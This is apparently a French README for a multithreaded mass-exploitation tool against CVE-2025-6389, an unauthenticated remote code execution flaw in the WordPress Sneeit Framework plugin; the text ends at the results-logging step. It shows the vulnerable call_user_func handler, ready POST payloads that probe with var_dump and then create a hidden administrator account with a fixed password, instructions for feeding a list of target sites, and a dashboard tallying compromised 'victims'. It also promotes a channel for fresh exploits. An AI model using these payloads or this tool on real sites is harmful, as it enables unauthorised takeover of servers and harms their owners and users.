
Sneeit Framework <= 8.3 - Exécution de code à distance non authentifiée dans sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 - Exécution de code à distance non authentifiée dans sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 Ne manquez pas la prochaine fuite. Suivez @KNxploited sur Telegram — la chaîne incontournable pour les CVE fraîchement divulguées, les exploits fonctionnels et la recherche en sécurité d'élite. Les premiers informés. Les premiers à agir.
CVE-2025-6389 est une vulnérabilité d'exécution de code à distance CVSS 9.8 Critique présente dans le plugin Sneeit Framework pour WordPress.
Le défaut se trouve dans la fonction sneeit_articles_pagination_callback(), qui transmet aveuglément les entrées fournies par l'utilisateur dans call_user_func() de PHP — un attaquant non authentifié peut appeler n'importe quelle fonction PHP avec des arguments arbitraires, y compris wp_insert_user, s'octroyant ainsi un accès administrateur complet ou exécutant tout code côté serveur.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2025-6389 |
| Plugin | Sneeit Framework (sneeit-framework) |
| Versions affectées | Toutes les versions jusqu'à et y compris 8.3 |
| Type de vulnérabilité | Exécution de code à distance (RCE) |
| Vecteur d'attaque | Réseau — Aucune authentification requise |
| Score CVSS 3.1 | 9.8 CRITIQUE |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Compromission totale du serveur / prise de contrôle admin |
| Chercheur | Nxploited |
La cause racine est le mauvais usage de call_user_func() de PHP dans le gestionnaire AJAX du plugin :
// Enregistré sans vérification d'authentification
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← Nom de fonction contrôlé par l'utilisateur
$args = json_decode(stripslashes($_POST['args']), true); // ← Arguments contrôlés par l'utilisateur
// Appelle TOUTE fonction PHP avec TOUS arguments — aucune validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
Pourquoi c'est critique :
wp_ajax_nopriv_* = accessible par n'importe qui, sans connexion requisecall_user_func($callback, $args) = invocation de fonction arbitrairevar_dump, system, wp_insert_user, eval, ou toute fonction PHP/WordPressÉtape 1 — Sonde / Empreinte
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Réponse attendue → array(1) { [0]=> string(4) "test" }
↓
Confirme : call_user_func() est accessible et reflète la sortie
──────────────────────────────────────────────────────────────────
Étape 2 — Création d'un compte administrateur
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Résultat → Un nouveau compte administrateur est discrètement créé sur la cible
↓
Accès complet au panneau d'administration WordPress obtenu ✔️
pip install requests rich
| Dépendance | Objectif |
|---|---|
requests | Requêtes HTTP avec support session/proxy |
rich | Tableau de bord terminal en direct, panneaux, progression |
threading | Traitement multi-cibles concurrent |
queue | Distribution thread-safe des cibles |
Python 3.8+ requis. Les indications de type utilisent la syntaxe
tuple[...]introduite dans 3.9+ — utilisez 3.9+ pour une meilleure compatibilité.
CVE-2025-6389/
├── CVE-2025-6389.py # Script d'exploit principal
├── list.txt # URLs cibles — une par ligne
├── success_results.txt # Généré automatiquement : cibles réussies + identifiants
└── debug_responses/ # Généré automatiquement : réponses brutes du serveur pour débogage
└── <cible>.resp.txt
Créez list.txt avec une URL par ligne :
https://cible1.com
https://cible2.com
http://cible3.com
Les URLs sans
http://ouhttps://sont automatiquement préfixées parhttp://.
python CVE-2025-6389.py
Vous serez invité :
Nom du fichier cible (par défaut list.txt): list.txt
Nombre de threads (par défaut 10): 20
Le script lance un tableau de bord Rich en temps réel montrant :
┌─────────────────────────────────────────────────────────────────────┐
│ [BANNIÈRE ASCII] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Statistiques │
│ Utilisation : Mettez... │ Total des cibles : 150 │
│ Threads : 20 │ Traité : 87 │
│ Mot de passe : xplpass │ Succès : 12 │
│ Journal des succès :... │ Échecs : 75 │
│ Répertoire de débogage :...│ Temps écoulé : 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Résultats récents │
│ Temps Cible Résultat │
│ 14:23:01 https://victime.com SUCCÈS │
│ 14:23:03 https://exemple.net ÉCHEC │
└─────────────────────────────────────────────────────────────────────┘
Les exploits réussis sont enregistrés dans success_results.txt :